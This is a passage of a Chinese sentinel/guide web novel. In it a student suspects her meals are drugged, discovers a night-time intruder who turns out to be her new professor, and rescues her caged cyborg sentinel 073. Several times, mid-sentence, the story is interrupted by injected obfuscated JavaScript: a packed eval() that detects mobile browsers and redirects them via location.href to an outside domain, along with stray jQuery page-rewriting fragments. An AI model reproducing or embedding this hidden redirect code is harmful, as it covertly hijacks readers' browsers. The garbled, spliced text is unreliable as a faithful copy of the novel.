腰链随之轻颤,其中几枚瓷铃相撞,“叮叮”的脆响在安静的宿舍里盘旋。 “咣咣咣!” 饭盒在垃圾桶边沿磕了磕,菜肴哗啦啦倒空,汤汁混在袋子里时卖相跟精致再也挂不上钩,混杂后略显古怪的气味也不那么诱人了。 摸摸铃铛们,应知晓的脸色依旧苍白,眉眼间的弧度却渐渐缓和。 拎着垃圾袋下楼丢掉的刹那,她全身发软,发颤,仿佛溺水之人挣扎出水面,吸入一口宝贵的空气,又仿佛冻僵的躯体在冰天雪地里喝到滚烫的酒。 循着路牌往食堂走,入学四年,这是她第二次去。 每天,舍友们都会提起食堂,有时候是炫耀抢到了最后一份热销菜,有时候是抱怨厨师手抖放了太多盐,有时候痛斥某个橱窗的食材不新鲜。很少谈论具体的口味,用她们的话说,是“还行”“一般”“就那样”。 应知晓走进食堂时不是这么想的,她觉得菜单上的每种食物都十分可爱。如果有可能,最好全部尝一遍。 看到菜单后的价格时,兴奋的脚步一顿。 她没钱。 学院食堂里消费很低廉,但她还是买不起。 有记忆以来,她的吃穿住行都被安排得很妥帖,没有需要自己承担的部分。相对的,也就用不到钱。她没收到过,也没要求过。 普通的向导都有固定的生活补贴,一直覆盖到参加工作为止。理论上她也有的,但是…… 这个发现让她止不住地气馁,更重要的是,在毕业之前,无论云顶还是中庭,都不会给一个学员工作。那些不需要运用精神力的普通岗位,只会交由退役向导养老。 她陷入了死循环中,像圆缸里不停打转的金鱼,明明观望到缸外的世界,却徒劳地撞着玻璃。 重回宿舍,应知晓躺到床上,表情木然。 睡觉吧,等到明天…… 她抓过床头闹钟,对照腕表反复调试时间,拧紧发条。 自己总是睡过头,干脆趁周末没课,也不去图书馆复习了,下午就睡觉,直接睡到明天,再困也该睡醒了。 真丝床单和鹅绒枕光滑柔软,很快唤起了困意。 兴许是强行更改作息的原因,她睡得很不安稳,过了许久,还能听到返回宿舍的舍友们交谈,连内容也隐约可辨,多数是闲聊,直到有人说了句:“好啊,要不要叫上知晓?” 她倏地睁眼,看向紧闭的卧室门。 另一个人“啊”了声:“我倒是想,但她这会儿肯定在图书馆学习,拿出去逛街这种事打扰她,不太好吧?” “也对。”最先说话的人有些纳闷:“但我真搞不懂她为什么这么拼命,做向导又不是唯一的出路。不适合在云顶生活的话,完全可以请求返回外界,去普通的大学嘛,还能学点赚钱的专业。何况,她家里条件那么好,是大小姐来着吧!” “行了,少说几句,你以为大小姐都是那么好当的,万一有难处呢?我们先走。” …… 不,她不是。 应知晓闭眼,却彻底睡不着了。 现在出门的话,舍友们难免尴尬,她也不想动弹,直挺挺地躺着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719286|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躺久了,不禁又有些犯困,迷迷糊糊打了几个盹,始终没能真正入睡。圆月高悬时,反而清醒起来。 熬夜并不舒服,太过寂静的环境里,思考就变得喧嚷。 她翻了个身,盯着树影摇曳的墙面胡思乱想。 白天舍友们的话犹在耳边,她曾经也因疲惫而心动,有过类似的计划,然而很快便被迫打消了。 月亮啊月亮,你会不会因为不会发光沮丧?会不会想脱离轨道逃开太阳? 她望了窗外一眼,印象里已经很久没有见过夜空,以至于对满天繁星感到陌生。 一束光劈开昏黑墙面,撕出道裂痕,又缓缓闭拢。 愣了几秒,她悚然而惊—— 有人进来了。 不可能是舍友,她们爱玩,每次离校不到后半夜不会回宿舍。 应知晓本能地想要尖叫,刚吸了口气,便怔住了。 尽管来人动作极其小心,但在幽静环境中,鞋底落地的轻响被放大了几倍,敲击地板时会有隐隐的回声,仿佛弹动的簧片。那是一种后跟略高,做了复杂的多层镂空的定制皮鞋独有的节奏。 她认得对方的脚步声。 甚至于,此前只在一个人脚上见过同样的款式,那人不喜欢落于俗套,还买断了所有相似的设计。 怎么会?!为什么?! 现在该坐起来打招呼,还是睡觉? 她的大脑完全空白。 直到脚步声近了,停在床边,才迟钝地想,睡觉,必须睡觉。以往这个时间,她都睡得很熟。 有段日子,应知晓是很擅长装睡的,但那是数年前,还小的时候,她能控制呼吸和心跳,不让睫毛颤抖。这么多年过去,技艺早已生疏。 唯独记得装睡的要领是放松,越费力摆姿势,破绽越大。 她轻轻阖眼,身体随呼吸自然起伏,视觉失效换来其余感官的敏锐,足以感受到目光集中在身上时,眼球聚焦导致的局部体表温度微弱升高。 万幸宿舍里没有电灯,油灯蜡烛她又觉得不够安全,从来不在睡觉时用,否则一定能看清她皮肤起的大片鸡皮疙瘩。 来人即使身处暗室,也保持着挺拔的仪态,从眼皮的缝隙里勉强能看到印在墙面的笔直影子。 一声极低的叹息幽幽降下:“我的好女孩长大了啊。” “拿你怎么办才好呢。” 像是感慨,又像是埋怨。 她险些发抖,不得不拼命想些别的事来分散注意力。 迟滞的大脑转了几圈,最终闪过水声淅沥的誓约喷泉,在喷泉背阴处与073的对话: “明天见。” “等你。” 对,她还有明天,还有以后,坚持住。 哪怕不明白此刻正在发生的事代表什么,基因深处的动物本能呼喊“不能动”,她就不能前功尽弃。 约莫过了一分钟,也有可能是十分钟,皮鞋嗒嗒调转方向,从容离去。 应知晓保持姿势不变,直到再也听不到丝毫动静,才掀了被子起身,大口大口地喘气。 她跳下床,扒着窗台四顾,没发现任何可疑身影,神情惊惧中夹杂着茫然。恨不得时间加速,天即刻大亮,迫切地想要见073。 他是那根水面的稻草绳,挣脱的希望。她也说谎了,不仅他需要监护向导,她更需要能证明自己独立能力的哨兵。 她想,她宁愿被迷失的他绞碎精神图景,损毁贫弱的躯壳,流干血液,也绝不要继续忍受这场遥遥无期的煎熬。 5. 怜我怜卿(五) 应知晓在窗边站到了天亮。 前半夜还有些饥饿,到了后来,胃液似乎也明白了,再激烈的抗议也不能求得可供消化的养料,静默得如同一潭死水。 打开衣柜,满当当的衣服整齐挂好,按照需求季节、颜色、款式分门别类,搭配着得体的饰品鞋帽。每一件都没有logo或标签,全是裁缝按照她的身形量身定做的。 过去她一直有些奇怪,因为从来没人上门测量过尺码,这些衣服是怎么裁剪的? 现在终于想通了。 她略过所有奢侈的衣饰,拿出换洗的学院制服穿好。 拉上拉链时,牙齿不住打颤,满脑子都在想:昨晚绝对不是第一次,那个人是怎么进来的?到底想做什么?为什么要说那些话?为什么自己之前一次都没发现过? 如果不是昨晚装睡,要到何时才会察觉?而以前,她都睡得很熟。 应知晓又想起,她装睡的本领是小时候为了不被发现夜里偷偷看些杂七杂八的书才练出来的,但还是被逮到了。 然后呢? 她的记忆全是不连贯的片段,捂着脑袋费力回忆,勉强有些印象,似乎发生了什么,然后晚上自己就开始准时上床睡觉,而且每天都睡得很香,这些年一直如此。 期间到底发生了什么事,却无论如何也想不起来。 闹钟响了。 她暂时脱离回忆,关了闹钟往卧室外走。公用的客厅里,舍友们果然因为回来太晚,正睡眼惺忪、东倒西歪地慢吞吞洗漱。 “咦!知晓,今天起这么早?”个子比她还小巧些的女生是几人里精力最旺盛的,嗓门响亮,头发乱糟糟,像只吵吵嚷嚷的炸毛黑冠山雀。 “嗯,红红,早。”应知晓不太自然地问好:“我有课。” 朱红了然:“哦,对对对,你报了那个那个……叫什么课来着?” “哨兵监护实操。” “对对对!就是这个。”朱红一拳砸在自己手心:“哎,那你找到合适的哨兵了吗?” 她点点头。 朱红大奇:“哎呀呀,行啊,你可是咱们宿舍第一个找到哨兵的。学院合作名单的志愿哨兵,我记得多半是歪瓜裂枣,万一配不上你呢?快说,是谁啊?” 这话有点微妙的歧义,她赶紧解释:“只是合作监护关系而已,没什么配不配的——” “话可不能这么说,”朱红摆手,“除非你以后打算进疗养部门做公共向导,出于工作需要不得不同时监护多个哨兵,否则现在选定的对象合适的话,很有可能发展成配偶啊。” “咳!”她呛了下:“我没想那么多,先毕业再说吧……”她现在哪儿有闲工夫考虑些有的没的。 朱红安慰:“放心,又不是什么难事,听说这门课新换的教授脾气很好,你肯定能顺利通过的!” 应知晓抿抿唇,声音弱了下去:“嗯。” 完了。朱红是她们这届数一数二的尖子生,天天翘课也不耽误考试满分,这么说不是哪壶不开提哪壶吗!登时急得抓耳朵。 洗漱完刚从卫生间出来的微胖女生开门,拎了个缎面袋子凑近解围:“你家人送的早餐,我帮你拿来了,趁热吃。别理红红,她就是嘴贱。” 看着那寸缕寸金、暴殄天物的用来装饭盒的暗纹锦缎,应知晓强忍着没变脸,扯起嘴角:“谢谢。满盈,老样子,一起吃吧?” 欧满盈的圆脸可不是婴儿肥,全是自己实实在在一口一口吃出来的。闻言麻利拆了包装,夹走里面的糕点,先往朱红嘴里硬塞了一块,才咂咂嘴,细细咀嚼。 说不清原因,应知晓讨厌甜食,总觉得靓丽的装饰下藏着糊烂馅料的形式令人反胃。每次送来的各色点心,基本都进了欧满盈的肚子。 后者一如既往幸福地赞叹:“太好吃了,我简直要晕过去了!” 这句话如同晴天霹雳,震得她头皮发麻,颅内嗡嗡作响。 “你说什么,晕过去?”充血的喉咙里发出拉锯般的嘶鸣。 欧满盈沉浸在对美食的享受中,随口答道:“是啊,之前有次多吃了几块,做梦都比平时香,当你的舍友真是太幸福了!” “别吃了!”应知晓几乎是尖叫着打掉了对方手里的叉子:“不能吃!” “怎、怎么了……”欧满盈猝不及防,叉子被拍飞了还举着手一动不动。 “快,吐出来。”她倒了两杯水,分别递过去。 朱红和欧满盈完全搞不清状况,但见她本就过白的脸色隐隐发青,急忙照做,含着水漱口。 “到底怎么了?”朱红思维敏捷,最先回神:“早餐有问题?” 应知晓死死揪住头发:“我、我不清楚。” 对上两位舍友紧张关切的目光,她牙关紧咬:“昨天我一直没睡好,无论是中午还是晚上,都是以前从没有过的情况。满盈刚刚说的,提醒了我,昨天午餐和晚餐,我都没吃送来的饭。除此之外,好像没有别的行为与往常不同了。所以我猜、我猜……” 欧满盈张大嘴:“你是说,你的饮食里被人下了药?这不是你家人送来的吗?” 她们对下药下毒这件事本身并不感到震惊。 自觉醒时代起,由于哨兵对向导的强烈依赖性和两者间超过3:1的失衡比例,免不了有些癫狂的哨兵采取非常手段。但类似的事多见于中庭,在云顶、尤其是向导学院内部,真是闻所未闻。 “我们帮你联系老师,顺便报警。”朱红眉毛倒竖。 “不行!”她立即反对:“绝对不行!” 两人都怔了怔。 “抱歉,”她揉着额角,“我是说,谢谢你们,但这件事不适合公开。你们或许多少听过些风声,我家……情况特殊,被家里知道只会惹出更大的麻烦。哪怕是对你们,恐怕后续有更不好的影响。” 理由很蹩脚,希望舍友们不会拆穿。 万幸最眼尖的欧满盈还沉浸在变故中,只是张大了嘴:“你是说,你被什么很厉害的仇家针对了?” 觉醒者们毕竟是人,就算与世隔绝,在外界身份显赫的,到底有些不同,那些被她搁置的用度便能说明问题。 尽管只是猜测,可心底一直有个声音在呼号“就是他”。 应知晓迟疑地点头,十分愧疚。原谅她,无法说出全部真相。 “我有个主意,我们自己查,”朱红神经比较粗,接受能力高得出奇,对着一扇紧闭的卧室门大喊,“奎宁?奎宁,来活了!” 房门猛地打开,显露出主人不耐烦的冷脸,高挑健美的棕发混血女生死气沉沉:“喊什么。” 奎宁·比斯利的通用语带着口音:“有话快说。” “你不是选修了药理课?”朱红指着桌边的饭盒:“拿去实验室检测检测。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719287|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这是违规的。”奎宁眼尾上挑。 “那你就悄悄的!”朱红理不直气也壮。 “嘁,”奎宁嗤笑一声,仗着身高优势挨个揉了揉三人头发,轮到朱红时格外用力,惹得后者龇牙咧嘴才停下,“知道了。” “真的可以吗?”应知晓眼睛倏地一亮。 “假的。”奎宁睨她。 “……”她连眨几下眼,懵了。 “七天之内,”奎宁不知道从哪摸出取样盒,每种收集了一份,对几人道,“放松点,也许只是你们想多了。” 刚要推门出去,又回头:“对了,你有哨兵吧。” 应知晓老实回答:“是有一个监护对象,昨天刚——” “什么等级?”奎宁直接打断她。 觉醒者的等级是通用的,从高到低分别是:甲、乙、丙、丁。以她们几个举例,朱红作为优等生,很有可能在毕业评定上拿到乙级,而她这种成绩,就算毕了业,也只会是个丁级。好在等级不是永久的,会随着实力进步或衰退而变化,每半年都要重新鉴定。 不过为什么突然问这个? 她略感疑惑,主要也是真的不了解,查看073的档案时,评级一栏是涂黑的,尴尬道:“不清楚。他的档案信息基本是保密的,我也没细问……” “那就是很强。”奎宁有些意外,抬抬眼皮:“不错,这段时间出去中庭住,让他守着你。” “这样不好吧?”应知晓瞠目结舌。 奎宁不以为意:“没有哨兵能拒绝这种要求。至于学院那边,临时的,又不是定居,没人会管。” 她表情纠结,声音小得可怜,甚至有些结巴:“不是,那个、那个,出去的话,我、我……没钱。” “啊?!”三个人一起看过来,脸上是整齐划一的讶异。 “家里,我家里管得严,而且平时也没什么东西需要自己买……”她的脸在发烫。 欧满盈一手一个,戳醒两边的人:“有道理,理解、理解。这样吧,我手头比较宽裕,先借给你些,以后空了再还。” 应知晓脸更烫了:“不行!把你们卷进来已经很过分了。” “别这么激动嘛,”欧满盈笑嘻嘻的,“是借,要算利息的,我还能赚点。” 一味推拒别人的好意,是种不识好歹的扫兴行为,况且她真的很需要现金,郑重点了点头:“谢谢。” “诶~不用不用,”欧满盈手一挥,“吃你那么多好东西,这算什么。” 不说还好,一说她就紧张:“万一以往的饭菜真的不干净,你们该去做个检查吧?”她有八成把握不会是致命的问题,但不代表完全没事。 奎宁摇头:“如果的确是‘迷药’,早代谢掉了。既然不想闹大,还是少往医院跑,否则有事会直接上报到向导协会和中枢院。实在担心的话,每个人抽点血给我,反正都要验。” 众人赞同。 纵然一切还未可知,看着交头接耳的三人,走出宿舍时,她却奇异得不那么害怕了。 腕表显示七点四十五分,奔向希望的起点比想象中温暖。 这次她没有迟到。 应知晓到教室坐下,一遍遍查看时间。 同期的学员们陆续携各自的对象哨兵进来,她不错眼地盯着,没见到073的身影。 上课铃奏响又结束,恰好八点零一分。 6. 怜我怜卿(六) 敞开的教室门板上映出道渐渐放大的模糊人影,应知晓坐得更直,频频望去。 “嗒、嗒……” 同时响起的是一阵有节奏的鞋跟叩地声,每次敲击伴随着弹动的轻微回声。 每声都敲在她的心脏上。 “抱歉,同学们,迟到了一分钟。” 温淳嗓音入耳,仿佛是由晨风拨弄琴弦般飘扬的长发奏出的乐符。若有若无的清雅竹香随风送进教室,实木底的棕色巴尔莫勒短皮靴踏过门槛时,绷紧的米色裤管下露出缝制鞋面独特的斜向搭扣。 “刚处理了点小意外,”一身鱼骨纹西装的男人在讲台站定,“我是《哨兵监护实操》课的新任督导教师,也是‘精神力匹配频率测算’专业教授——应知许。” 受限于基因与生理构造,男性极少拥有精神力天赋,觉醒为向导的可能性微乎其微。相较于哨兵还算平衡的性别比,向导历来女多男少,达到了夸张的8:1,这间教室里坐着十九名学员,更是仅有一名男生。 男人天生不适合当向导是觉醒者们公认的常识。 何况对一名教授而言,他看起来太年轻了,比学员们也大不了多少,惹得台下窃窃私语。 “同学们不用有疑虑,我保养得比较好,实际年龄已经超过四十岁了。”他说话时,琥珀色的眼眸含笑。 “啊?!”众人齐齐抽气。 “开玩笑的,”应知许嘴角的弧度分毫不变,“我今年二十八岁,不过年龄并不是评判觉醒者能力的标准,不是吗?” 三两句话,逗得教室里笑声此起彼伏,氛围顿时活跃不少,连带着作为教学对象的陪同哨兵们都明显放松下来。 应知晓独自坐在临窗的角落,胸腔剧烈起伏,肺叶抽痛,似乎教室里的氧气被笑声吹尽。 “这位同学,身体不舒服吗?” 关切的问话引得数道目光转来,她眯了眯眼,身体像被透明的线提着,拎上舞台,所有聚光灯对准,强烈光线灼得瞳仁生疼。 应知许走下讲台,横穿教室,停在她的座位前,撑着桌边:“如果生病了,及时告诉老师,不要逞强,请假回去休息。” “是不是病了?”他问,阳光和灯光前后拥抱着他,在雪山般无垢的面颊流连,金银交织的线条蜿蜒,双眼比黏稠的枫糖浆更清澈温暖。 应知晓手搁在膝盖上,十指蜷缩,不受控制地痉挛,几乎条件反射地要答“是”。 “……不。” “真的吗?”应知许微微俯身:“不要逞强。” “我……”她的惯性和理性在脑中拉锯,齿根打颤:“我在等我的哨兵。” “你的哨兵迟到了。”应知许直起身:“很抱歉这样说,作为课程搭档,他的表现恐怕会影响平时分数。” 他眼中担忧之色更浓:“我刚刚协助处理了他的问题,所以才晚来一步。” “吱——”她猛地弹起,掀倒的椅子划出尖利摩擦声。 刺耳的动静引来更多人注意,哨兵们甚至皱起了眉。 意识到自己动作过激,她扶上腰,一颗瓷铃被裹紧手心,死死压进掌纹。 “啊,总算到了,”应知许抬眼,松了口气,“万幸。” 顺着他的视线望向窗外,特种车辆运载着近一层楼高的巨大立方体缓缓驶来。 漆黑的立方体表面布满不规则的海绵状孔洞,离得越近,周围反而越安静。 应知晓看到的第一时间就认了出来——休止囚笼。 通体用可吸收包括精神力在内的各种波的稀有矿石“裂帛石”打造,承受量濒临极限时,会发出类似撕扯纸张或布匹的声音。 是种专门关押哨兵的重型拘束设施,再精确些,一般用于关押被评定为“已迷失”的哨兵。 不仅她认识,其余学员们同样认识。这下,教室里不是窃窃私语,而是爆发起一阵惊异的讨论。 她根本没去听同学们在说什么,恨不得立刻冲出去。 最后的理智绊住她的脚步,喉咙发紧,一字一顿问:“老师,这是怎、么、回、事?” 应知许轻轻叹气:“根据规定,任何有迷失风险的哨兵进入云顶都要有专人单独押送。你的哨兵自行进入,在学院门口遭到拦截,不接受劝阻。我查验了他的身份,发现原来是你的监护对象,这才用这种方式带他进来。” “抱歉耽误各位的时间了,”他面向大家,稍稍鞠躬,“请等这位同学接回自己的哨兵。” 众人的眼神五花八门,好奇的、不耐的、厌恶的、害怕的……无一例外,都在看她。 恍惚间,应知晓觉得自己要倒下了,余光扫过那座休止牢笼,硬生生扳直肩膀走出教室。脚步虚浮、发晃,但一步也没有停。 负责押送的警卫校验过监护关系证明,打开了笼门。说是门,实际上只是从裂帛石立方体一面上切出的厚重石板。 一缕黑雾从缝隙里淌下,滑落地面,向四面八方散开。 这不是真实的雾气,完全由精神力构成。 随着石门拉开,越来越多浓雾涌出,墨色气团沉沉翻滚,精神力的优先级超过另外五感,挤占了她的视觉。 雾团中,幽魅的深紫电光乍现,照亮数张黑气凝成的面孔,五官模糊,大张着嘴相互撕扯,试图挣脱束缚,争先朝她转来,形同索命厉鬼。 她脸色惨白,踉跄着退了一步。 “啊,是‘恸哭’。”温厚男声突兀响起,语气模棱两可,似乎在忧虑,又似乎在看戏。 应知许跟来了,站在她身后不到半米的位置,再退,就要退进他怀里。 他一手插兜,一手虚揽,看起来是保护的姿态,低头时嘴唇离她耳廓很近:“上课时学过的吧?哨兵空有精神图景却无法使用精神力,所以每当接触新死的觉醒者,吸入溃灭的精神余波无法自主排出或消化,便积压起来,以人类能理解的天灾形态具现。” “他的‘恸哭’是雷暴呢,”应知许漫不经心道,“猜猜看,要达到这种程度,需要见证多少觉醒者的逝去?再猜猜,其中多少亡者是他亲手斩杀?” “看到那些人脸了吗?”他表情和煦:“数一数,我们知晓会数数的吧。” “他很危险,但我可以处理。”应知许悬着的手轻轻搭向她的肩膀。 应知晓瑟缩一下,往石门处靠拢。 “我的哨兵,我会监护。”她说话时没有回头,不想回,也不敢回。 应知许伸出的手落空,笑起来:“好女孩,果然是长大了,真让人欣慰。” “看看这些逸散的恸哭,恐怕他的精神图景存在很大的裂缝。只需要一点点刺激,就能让他深陷迷失状态。情况紧急,你的精神力够用吗?还是交给我比较好,不要任性。”他拿出怀表,掀开:“同学们还在等呢。” “他是因为谁才会受刺激的?!”应知晓心脏发烫,猛烈撞击着胸腔。 “是啊,因为谁呢?”应知许眯着眼笑:“他本可以待在要塞里,安安稳稳。” 她僵立原地,浑身发抖,想要反驳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719288|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟找不出更好的理由。 “你累了,把他交给我,然后回宿舍休息吧。”他说这句话时的语气依旧温和。 “你会怎么做?”应知晓一点点侧过身。 “在关心我吗?”应知许鞋跟挪了个不明显的角度:“真体贴。” “放心,”他嘴角弧度变大,声音愈发温柔,“这些都不是你要考虑的问题,我的女孩,只用把一切都交给我就好。” 她攥紧拳头,指节发白,骨骼像是要刺破皮肉穿出来,指甲与瓷铃一起嵌进掌心也没任何感觉。 应知许看着,眼中笑意真切了几分,对警卫示意:“麻烦你,将这名哨兵——” 倏地,应知晓助跑几步,翻身跃进笼门,她的动作毫无征兆,细瘦白影一晃,已然没入犹如实质的死寂雷云中。 应知许眉毛不易察觉地颤了颤。 乌云里的应知晓大口喘气,长久缺乏滋养的身体太过羸弱,随便一个激烈的动作就能让她感到吃力和劳累。 但她坚持向前摸索,寻找自己的哨兵。 休止囚笼外观巨大,可墙壁极厚,内部空间有限,很快指尖一凉,碰到个坚硬的边缘。 笼中没有光源,仅能靠双手探查。 不确定刚刚摸到的是哪里,大概是机械义体的某个部位,指腹顺着移开,终于触及一片散发着热量的柔软表面。 来回轻按,凸起的坚硬组织在指尖下滑动,终于意识到这是对方的喉结。 “073?”她半跪着呼唤,手放在他颈侧,勉强能想象出他现在大约靠坐在墙角。 073没有回答,呼吸比印象中急促得多。 她不禁恶意地想,应知许拒绝回答,是不是就是为了避免让她掌握相关经验?然后看她手足无措,看她无能为力? 不,别想了,现在最重要的是073。 调动精神力幻化的触须像根蛛丝,飘飘摇摇伸向雷云倾泻的源头——峡谷般的深刻裂缝横亘,几乎要把光团状的精神图景由内到外一劈两半,甚至还因为收到了未知刺激,有扩大的趋势。在这种情况下都没有直接碎裂,简直是奇迹。 她心神巨震,精神触须跟着颤动,险些断开。 这种程度的创伤,别说是她,换成应知许,换成云顶资历最深的向导治疗师都不可能修补。 可她不能眼睁睁看着073崩溃,不想放弃他。 应知晓没有进行疏导或是构筑缄默屏障,用最原始的方式,将自己的精神力还原,直接灌入073的精神图景。 她太了解自己的水平,一旦操作失误,就是雪上加霜,不如帮助补充精神力,也许还有挣扎清醒的机会。 073的等级显然高过她太多,倾注的精神力如泥牛入海,没有掀起丝毫波澜。 她鼻头泛酸,不明白自己想要顺利毕业到底有什么错,为什么会变成现在这样。 如果073醒不过来……难道真像应知许说的,她是凶手,是始作俑者吗? 精神力与对时间的概念都在迅速流失,纷乱想法充斥脑海却没精力梳理。 向导精神力透支是致命的,但她完全没有停手的意思。 有那么一刻,她想,如果就此了结,也算是解脱。只是很对不起073,至少应该唤回他。 这个念头闪过,最后的精神力终于耗尽,身体不听使唤地下坠。 朦胧间,预期中跌倒的疼痛没有出现,反而有刹那的失重感,随即腾起的躯体被滚烫的热度包裹,一半坚硬,一半柔软。 7. 怜我怜卿(七) 钝痛的头脑思考半晌,迟滞地分辨出那是一个拥抱,来自金属与血肉拼接的躯干。 “……073?”她以为自己在说话,实则只是唇瓣略动了动,发出短促模糊的气音。 环抱身体的温度还在升高,焐得她制服面料沁入细密的潮气。 贴在他颈侧的手指被一根根拉开,蒙着木质般厚茧的掌心从背面覆上,粗直骨节挤进指缝,撑开又扣紧,引向略高处。 力度有些大,让她有种自己的手陷入了稠密沥青的错觉。 凌乱的气息喷吐,简直能产生灼伤,如果不是皮肤尚且完好,几乎要以为面前的黑暗中放置的是云顶里某座提供动力的中央熔炉,正烧着燃料,转化出升腾蒸汽。 有什么干燥却很软的东西烙上手心,紧紧相贴,轻轻翕动。 滚滚雷云倒卷,盘踞回精神图景周围,不甘地无声嘶吼。 不待她回神,柔韧的、富有颗粒感的物体一点点剐蹭,留下难以忽略的湿意。翻弄几个来回,将那块皮肤夹住,反复擢取。 隐约的蛰刺感连绵不断,激得应知晓空乏混沌的大脑清醒起来,勉强发声:“073,别……” 别舔?还是别吮?她张张嘴,莫名感到类似的词汇有些说不出口。 休止囚笼完美阻隔了外部声音,暗寂的封闭空间内,皮肤与液体细黏的摩擦声、不规律的呼吸声与过速心跳声糅合,听得她耳朵不禁跟着发烫。 “073,你、你醒醒,醒醒,是我啊。”她磕磕巴巴呼唤。 手心的触感停滞一瞬,随即更用力地吸了两下,这才缓缓移开。 “想抱你。”073嗓子像生了锈,说话时带着斑驳杂音,和压抑的乞求。 对这个来自脆弱状态下的哨兵称得上微不足道的愿望,她恨不得立刻同意,尽自己所能安抚。然而想到现状,又强行拉回理智:“……不行。” “我的意思是,现在暂时不行。”她赶紧补充:“先检查一下,至少让我确认你没事。” 扣住她手的力道卸去几分,073似乎在活动身体,发出阵“咔咔”的机械零件传动声,嗓音正常了不少,也冰冷了不少:“你受伤了。” “受伤?我吗?”应知晓困惑:“没有,我没事,有点累,歇会就好了。你能动吗?能动的话,我们先出去好吗?” 073没回答,松开了她的手,改环在腰上,横抱着人起身。 休止囚笼的门比普通房间窄小些,约有180公分,但也足够常人通行。他却要佝着头,甚至稍稍曲腿,侧过身才能顺利离开。为了不磕到怀里的她,动作缓慢,显得十分笨拙。 她很想说不用这么小心,真的没事,就被兀然射下的光线刺得眼前白芒一片,眯紧眼睛,泛出点泪花。 沉重的金属坠地声响起的同时,那只刚握过她的手抹过眼角,盖到脸上,牢牢遮住头顶倾泻的阳光,精准地留出道空隙。 “谢谢。”她的脸色仍然很不好,但还是露出个小小的笑容。 等在不远处的应知许捏紧怀表,精美的鎏金外壳凹出指印的形状。 他站在原地,维持着优雅风度。视野中心,那个被中枢院实验室以秘密番号“REVENANT归魂者”命名的、丑陋的、不该出现在天日下的低贱兵器,怀抱薄胎白瓷般珍贵的小向导,光明正大地迈出困死过无数哨兵的休止囚笼。 那只拗断过多少脊骨与肢体、浸过污血、染过硝烟的、反叛的、肮脏的手,僭越地拭去她的眼泪,胆大妄为地轻抚她的肌肤,短暂擦出轻浅红痕。 而她居然放纵这份冒犯,一副全然松弛的姿态,挨着非人哨兵冷硬的胸膛,亲密地嵌合在一起,仿佛他们生而一体。 她甚至笑了,脸庞前所未有的柔和,像晨间舒展的银莲花瓣,在一名粗鲁的哨兵臂弯里、手掌下。 应知许凝视片刻,合上表盖,笑容如春风拂面:“真是出人意料啊。” 他还想再说话,后方蓦地叽叽喳喳响成一片: “刚才的是恸哭吗?哇,开眼了,是飓风?还是乌云?晚了一步,没看清,唉。” “收回去了!收回去了!怎么办到的?” “哪里的哨兵,怎么这个模样啊,真吓人。” “是REVENANT部队的073……他怎么在这。” “你认识?” “战争改造的成品,你听说过的吧。” “怎么会有向导找这种哨兵啊,喜欢挑战高难度?难道这门课有隐藏学分能加吗?” 学员们扯着自己的哨兵从教室里跑出来,聚做一堆,热烈讨论起来。 应知晓不由得蹙眉,不想害自己的哨兵成为别人口中的谈资,忍受噪音,他已经够辛苦了。 她也是才注意到,今天的073不知道为什么没穿戴那套重型防护装备,而是轻便的贴身作训服,机械义体完全暴露在外,配合卓然的体型,格外显眼。 “不听。”确认她已经适应好光线,073遮挡的手自然落下,转而捂住她的耳朵,顺带把人往胸前搂了搂,试图用身体尽可能阻断那些议论声。 “我能听见的,到你耳中只会更响。别只在意我。”她拉住073的手制止,顺势仰头看去,瞳孔不禁收缩又放大。 没想过第一次见到他的全貌会是在这种情形下—— 逆着光,骄阳也抹不平凌厉的轮廓,冷灰色虹膜即便澄亮仍缺乏温度,好像永结的冰川冻土,无言对抗烈日的伟力。 可背后坚实的怀抱暖融融的,像是冰面将所有阳光的能量反射给她,又像是沉入地底,摸到了冻土之下,更深处蕴藏的热力,熨在心头。 “我会和……老师请假,然后陪你接受后续治疗,先放我下来?”她最初还想坚持上完第一堂课,现在临时改了主意。 “不用,陪你。”073果断拒绝,也没一点要让她下地的意思。 “同学在看,这样不好。”应知晓到底有些虚弱,一时半会没组织出好的说辞。 073垫在她身下的机械臂反而收紧了一分:“我是你的哨兵。” “我没有别的意思……算了,就这样吧。”她很想解释,又记起他实际上仍处于失控的临界点,担心说错了话,会刺激到他好不容易唤回的意识。 应知许鞋尖小幅度地碾了碾地面,背过手去握紧:“老师觉得这是次很好的实操展示,不如回教室,和同学们交流一下,你说呢?” 他的话让应知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 